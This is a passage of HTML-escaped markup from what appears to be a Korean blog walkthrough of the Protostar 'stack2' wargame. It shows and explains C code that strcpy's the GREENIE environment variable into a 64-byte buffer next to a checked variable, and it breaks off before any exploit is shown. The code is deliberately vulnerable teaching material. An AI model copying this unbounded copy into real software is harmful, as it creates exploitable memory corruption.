14pt;&quot;&gt;];&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;char&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;variable;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;variable&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;getenv(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;GREENIE&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(variable&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 134, 179); font-size: 14pt;&quot;&gt;NULL&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&amp;nbsp;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;errx(&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;please&amp;nbsp;set&amp;nbsp;the&amp;nbsp;GREENIE&amp;nbsp;environment&amp;nbsp;variable\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;modified&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;strcpy(buffer,&amp;nbsp;variable);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(modified&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x0d0a0d0a&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&amp;nbsp;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;you&amp;nbsp;have&amp;nbsp;correctly&amp;nbsp;modified&amp;nbsp;the&amp;nbsp;variable\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;}&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;else&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;Try&amp;nbsp;again,&amp;nbsp;you&amp;nbsp;got&amp;nbsp;0x%08x\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;modified);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;volatile keyword를 사용하여 int type modified를 선언한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;char type array 64 byte buffer를 할당한다. &lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;char * type 8 byte(64bit)&lt;/span&gt;를 선언한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;5&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;main(&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;argc,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;char&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;argv)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;volatile&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;modified;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;char&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;buffer[&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;64&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;];&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;char&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;variable;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;getenv() 함수&lt;/span&gt;를 사용하여 &quot;GREENIE&quot; 환경변수의 주소를 variable에 return 한다. &quot;GREENIE&quot;의 이름을 가진 환경변수가 없다면, return NULL이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;만일 variable의 주소가 NULL이면 (즉, &lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;GREENIE의 환경변수가 set되지 않으면&lt;/span&gt;) &quot;please set the GREENIE enviroment variable\n&quot; error message를 출력한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;5&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;variable&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;getenv(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;GREENIE&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(variable&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 134, 179); font-size: 14pt;&quot;&gt;NULL&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&amp;nbsp;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;errx(&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;please&amp;nbsp;set&amp;nbsp;the&amp;nbsp;GREENIE&amp;nbsp;environment&amp;nbsp;variable\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;modified 변수를 0으로 초기화 하고 variable(GREENIE)의 내용(String)을 buffer로 copy한다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;modified&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;strcpy(buffer,&amp;nbsp;variable);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;만일 modified의 값이 &quot;0x0d0a0d0a&quot;이면, &quot;you have correctly modified the variable\n&quot;을 출력한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;만일 modified의 값이 &quot;0x0d0a0d0a&quot;가 아니면, &quot;Try again, you got modified\n&quot;를 출력한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;처음 terminal을 열면 GREENIE의 환경변수가 set되지 않았으므로, stack2 실행에 실패할 것이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 774px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9934064D5C320AD414&quot; 